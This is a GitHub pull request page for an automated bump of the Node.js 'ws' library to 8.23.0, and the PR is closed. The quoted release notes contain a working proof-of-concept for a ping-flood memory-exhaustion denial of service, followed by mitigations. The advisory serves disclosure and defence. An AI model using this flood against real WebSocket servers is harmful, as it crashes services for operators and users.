Skip to content

fix(deps): update dependency ws to v8.23.0 - autoclosed - #79

Closed
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/ws-8.x
Closed

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/ws-8.x

Conversation

@renovate

@renovate renovate Bot commented Nov 26, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
ws 8.22.0 → 8.23.0 age confidence

Release Notes

websockets/ws (ws)

v8.23.0

Compare Source

Features

  • Introduced the maxPendingAutoPongs option (ace7248).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248).

A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed by multiple reporters:

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.

v8.22.2

Compare Source

Bug fixes

  • The userinfo of the URL is now percent-decoded (#​2352).
  • The WebSocket constructor no longer mutates http: or https: url.URL
    objects (#​2353).

v8.22.1

Compare Source

Bug fixes

  • The path of IPC URLs is no longer truncated at : (#​2344).

Other notable changes


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

schmonz pushed a commit that referenced this pull request Nov 26, 2026
Renovate PR #75, applied by hand: it conflicted with #79's lockfile (ws).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01X9pCeEg19PPwwjgrS8wV5a
@renovate renovate Bot changed the title fix(deps): update dependency ws to v8.23.0 fix(deps): update dependency ws to v8.23.0 - autoclosed Nov 26, 2026
@renovate renovate Bot closed this Nov 26, 2026
@renovate
renovate Bot deleted the renovate/ws-8.x branch November 26, 2026 12:36
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants